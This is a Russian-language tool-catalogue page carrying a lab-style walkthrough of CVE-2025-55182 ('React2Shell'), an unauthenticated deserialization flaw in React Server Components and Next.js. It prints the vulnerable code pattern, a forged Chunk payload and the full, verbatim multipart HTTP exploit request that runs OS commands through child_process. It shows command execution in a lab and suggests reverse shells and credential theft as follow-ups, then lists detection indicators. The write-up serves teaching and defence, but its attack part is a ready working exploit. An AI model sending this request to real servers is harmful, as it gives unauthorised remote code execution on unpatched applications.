Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
React2Shell-CVE-2025-55182 — React2Shell CVE-2025-55182: неаутентифицированная небезопасная десериализация в React Server Components, приводящая к надёжному удалённому выполнению кода через протокол Flight. | Kitploit
Инструменты/GitHubGitHub/adityabhatt3010/react2shell-cve-2025-55182
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьCTFТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubadityabhatt3010/react2shell-cve-2025-55182

React2Shell-CVE-2025-55182

React2Shell CVE-2025-55182: неаутентифицированная небезопасная десериализация в React Server Components, приводящая к надёжному удалённому выполнению кода через протокол Flight.

Репозиторий
71262 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

🎯 React2Shell (CVE-2025-55182): От серверных компонентов React до полного RCE

Сложность: Средняя → Продвинутая
Категория: Веб-эксплуатация | Десериализация | RCE

Обложка


🧩 Задание 1: Введение — почему React2Shell — это серьёзно

CVE-2025-55182, получившая прозвище React2Shell, — одна из тех уязвимостей, которые мгновенно заставляют защитников нервничать 😬. Обнаруженная в декабре 2025 года, она имеет оценку CVSS 10.0, что уже говорит о том, что это не какая-то пограничная ошибка.

По своей сути эта уязвимость затрагивает серверные компоненты React (RSC) и фреймворки, построенные на их основе, — в первую очередь Next.js. Что самое страшное?

👉 Неавторизованное удалённое выполнение кода (RCE) 👉 Один сформированный HTTP-запрос 👉 Конфигурации по умолчанию уязвимы

Никакого входа в систему. Никаких специальных разрешений. Просто один хорошо составленный запрос.

🔥 Затронутые пакеты React

  • react-server-dom-webpack
  • react-server-dom-parcel
  • react-server-dom-turbopack

✅ Исправленные версии

  • 19.0.1
  • 19.1.2
  • 19.2.1

Эта лаборатория проведёт нас через почему эта ошибка существует, как её эксплуатировать и что могут сделать защитники.

Флаг: Ответ не требуется.


🧠 Задание 2: Серверные компоненты React и протокол Flight

Прежде чем перейти к эксплуатации, нужно разобраться в архитектуре.

Что такое серверные компоненты React?

Серверные компоненты React (появившиеся в React 19) позволяют частям React-приложения выполняться на сервере, а не в браузере. Это означает:

  • Тяжёлые вычисления остаются на стороне сервера ⚙️
  • Клиент получает только готовый результат 📦
  • Лучшая производительность, меньшие бандлы

Встречайте: React Flight ✈️

Общение между клиентом и сервером происходит через протокол React Flight. Этот протокол сериализует данные на клиенте и десериализует их на сервере.

Он использует специальные маркеры:

  • $@ → Ссылка на чанк

  • $B → Ссылка на Blob

  • Пути к свойствам через двоеточие Пример:

    $1:constructor:constructor
    

⚠️ И именно в этой логике сериализации и кроется проблема.

Вопрос: Какой символ обозначает ссылку на Blob? ✅ Ответ: $B


💣 Задание 3: Основная уязвимость — небезопасная десериализация

В основе CVE-2025-55182 лежит классическая ошибка небезопасной десериализации.

Посмотрим на уязвимый паттерн (не обрезать 👇):

function requireModule(metadata) {  
 var moduleExports = __webpack_require__(metadata[0]);  
 // ... дополнительная логика ...  
 return moduleExports[metadata[2]];  // УЯЗВИМАЯ СТРОКА  
}  

Почему это опасно?

В JavaScript скобочная нотация:

obj[someKey]

не ограничивает доступ только к экспортированным свойствам. Она проходит по всей цепочке прототипов.

Теперь ключевое наблюдение 👀:

  • У каждой функции JavaScript есть .constructor
  • constructor указывает на конструктор Function
  • Function("code") = произвольное выполнение JS

Превращение ссылок Flight в оружие

Поскольку протокол Flight допускает пути через двоеточие, атакующий может отправить:

$1:constructor:constructor

Что разрешается в:

  1. Получить чанк модуля
  2. Обратиться к .constructor
  3. Снова обратиться к .constructor → Function

На этом моменте игра окончена 🎮.

Флаг: Ответ не требуется.


🧨 Задание 4: Цепочка эксплуатации — от ошибки до RCE

Теперь разберём PoC от maple3142 шаг за шагом.

🧩 Этап 1: Поддельный объект Chunk

Атакующий отправляет multipart-запрос, содержащий поддельный объект Chunk:

{  
 "then": "$1:__proto__:then",  
 "status": "resolved_model",  
 "reason": -1,  
 "value": "{\\"then\\":\\"$B1337\\"}",  
 "_response": {  
   "_prefix": "process.mainModule.require('child_process').execSync('xcalc');",  
   "_chunks": "$Q2",  
   "_formData": {  
     "get": "$1:constructor:constructor"  
   }  
 }  
}

Этот объект имитирует внутреннюю структуру Chunk в React. Указывая then на Chunk.prototype.then, React обманывается и ожидает выполнения управляемой атакующим логики.


🧩 Этап 2: Злоупотребление обработчиком Blob

Маркер $B1337 запускает обработчик десериализации Blob, который внутри выполняет:

response._formData.get(response._prefix + id)

Но мы отравили:

  • _formData.get → Function
  • _prefix → вредоносный JS

В результате выполняется:

Function("process.mainModule.require('child_process').execSync('xcalc');1337")

💥 Произвольное выполнение JavaScript достигнуто.


🧩 Этап 3: Выполнение команд ОС

PoC выполняет:

process.mainModule
  .require('child_process')
  .execSync('xcalc')

Это можно легко заменить на:

  • Реверс-шеллы
  • Кражу секретов
  • Чтение файлов
  • Кражу облачных учётных данных ☠️

Флаг: Ответ не требуется.


📦 Задание 5: Полный разбор HTTP PoC

Вот полный эксплойт-запрос (дословно, не обрезан):

POST / HTTP/1.1  
Host: localhost  
Next-Action: x  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad

------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name="1"

"$@0"  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name="2"

[]  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--  

(…тело multipart продолжается…)

Ключевые моменты 👇

  • Заголовок Next-Action запускает серверные действия
  • multipart/form-data обязателен
  • $@0 создаёт само-ссылку
  • $B1337 запускает логику Blob
  • constructor:constructor ведёт к Function

Это не случайность — это точно выстроенная цепочка.


🌍 Затронутая экосистема

  • React: 19.0.0, 19.1.0, 19.1.1, 19.2.0

  • Next.js:

    • ≥14.3.0-canary.77
    • Все 15.x
    • Ранние 16.x
  • Другие: React Router (RSC), Waku, Redwood SDK

📊 Исследование Wiz: 39% облачных сред подвержены 🌐 Shodan: 571k+ серверов React, 444k+ Next.js

Это… довольно много 😶


🧪 Задание 6: Эксплуатация в лаборатории

Сначала в Repeater создайте новый HTTP-запрос и выберите цель.

1

Используя Burp Suite Repeater, отправляем полезную нагрузку:

execSync('id')

2

А затем:

execSync('whoami')

3

✅ Результаты

  • Пользователь: ubuntu

  • Флаг:

    {React-19.2.0}
    

Чистая, надёжная, повторяемая эксплуатация 💀


🛡️ Задание 7: Обнаружение и защита

Хорошие новости для защитников 👮‍♂️ — эксплуатация оставляет следы.

🔎 Индикаторы атаки

  • Заголовок Next-Action
  • multipart/form-data
  • "status":"resolved_model"
  • "then":"$1:__proto__:then"

Они никогда не должны появляться в обычном пользовательском трафике.


🚨 Правило Snort (v3)

Скачать инструмент